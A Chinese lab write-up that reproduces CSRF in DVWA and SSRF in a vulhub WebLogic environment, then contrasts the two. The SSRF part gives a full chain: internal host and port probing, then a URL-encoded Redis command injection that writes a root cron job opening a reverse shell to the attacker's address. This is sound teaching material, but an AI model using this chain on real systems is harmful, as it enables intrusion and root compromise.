CSRF和SSRF有什么不同?

文章目录

  • CSRF复现
  • SSRF复现
    • 启动环境
    • 漏洞复现
      • 探测存活IP和端口服务
      • 计划任务反弹shell
  • 区别

CSRF复现

打开dvwa,将难度调为low,点击CSRF,打开后发现有一个修改密码的输入框:
CSRF和SSRF有什么不同?_第1张图片

在这里修改密码,并用bp抓包,在http history查看数据包,点击engagement tools中的Generate CSRF Poc根据请求包生成一个CSRF攻击的网页:

CSRF和SSRF有什么不同?_第2张图片

在生成的代码中修改密码为12345,点击test in browser在浏览器中测试:

CSRF和SSRF有什么不同?_第3张图片

复制生成网页的URL:

CSRF和SSRF有什么不同?_第4张图片

然后在不关闭dvwa的情况下访问生成的恶意网站,点击按钮:

CSRF和SSRF有什么不同?_第5张图片

点击后跳回到dvwa的CSRF修改密码界面,此时密码已经被修改,退回到登录界面,输入原来的密码后发现登录失败:

CSRF和SSRF有什么不同?_第6张图片

SSRF复现

启动环境

到vulhub/weblogic/ssrf目录下

cd vulhub/weblogic/ssrf

启动容器:

sudo docker-compose up -d

启动成功,如图:

CSRF和SSRF有什么不同?_第7张图片

打开bp,然后打开bp中的内置浏览器Browser,输入地址10.9.75.45:7001/uddiexplorer进入网页,等待初始化后跳转出网页:

CSRF和SSRF有什么不同?_第8张图片

漏洞复现

点击Search Public Registries,在页面点击search后用bp抓包:

CSRF和SSRF有什么不同?_第9张图片

抓到的数据包如下图,是一个post请求包:
CSRF和SSRF有什么不同?_第10张图片

将数据包发到repeater模块,发送后报错,检查错误信息,发现有一个URL,在数据包的底部发现operator包含该URL:

CSRF和SSRF有什么不同?_第11张图片

然后我们可以检查此处是否有SSRF漏洞,用dnslog生成一个网址:

CSRF和SSRF有什么不同?_第12张图片

复制后在数据包中输入

http://www.emt.hmb3ub.dnslog.cn

观察它是否会根据给的地址做url请求,如果有,就存在SSRF漏洞:
CSRF和SSRF有什么不同?_第13张图片

发送后到网站点击Refresh Record,查看是否有请求回显:

CSRF和SSRF有什么不同?_第14张图片

确定此处存在SSRF漏洞。

探测存活IP和端口服务

查看报错信息,发现80端口未开放,我们可以测试存活的可用IP,先到kali查看IP:

CSRF和SSRF有什么不同?_第15张图片

测试172.17.0.2、172.18.0.2、172.20.0.2、172.21.0.2、172.22.0.2、172.23.0.2、172.24.0.2、172.25.0.2是否存活,如果返回错误信息证明存活,端口用已知的7001开放端口,即它本身的服务端口。

经测试,只有172.23.0.2为存活IP:

CSRF和SSRF有什么不同?_第16张图片

在存活IP的基础上测试开放端口80、8080、3306、445、6379,经测试发现只有6379(redis数据库)端口开放(其余端口回显相同的错误信息):

CSRF和SSRF有什么不同?_第17张图片

计划任务反弹shell

由于web服务未开放、ssh未开放,利用redis未授权访问漏洞只能写计划任务做反弹shell,写一个每时每分每天每月每周的计划任务,IP写kali的地址,端口为21

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/10.9.75.45/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

由于redis数据库的命令需要通过http协议提交,所以需要先进行URL编码:

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.9.75.45%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

注意,换行符是“\r\n”,也就是“%0D%0A”。

需要在url中提交,前面加上协议头,前后加上两次换行符:

http://172.23.0.2:6379/emt%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.9.75.45%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave %0D%0A%0D%0Aemt

kali监听21端口:
CSRF和SSRF有什么不同?_第18张图片

在bp中修改字段点击发送,将计划任务发送到redis数据库中:
CSRF和SSRF有什么不同?_第19张图片

反弹shell成功,获取到root权限:

CSRF和SSRF有什么不同?_第20张图片

区别

SSRF和CSRF都是伪造攻击,前者伪造服务器的请求,后者伪造用户的请求,来达成攻击者想要达成的目的。

CSRF可以用一个恶意网站诱导用户发送跨站请求,来执行更改用户的密码或转移资金的操作。

SSRF是攻击者向服务器提交一个URL地址,服务器根据URL地址发送HTTP请求,伪造服务器请求。

你可能感兴趣的:(漏洞复现,网络安全,网安面试宝典,csrf,前端,SSRF,请求伪造漏洞)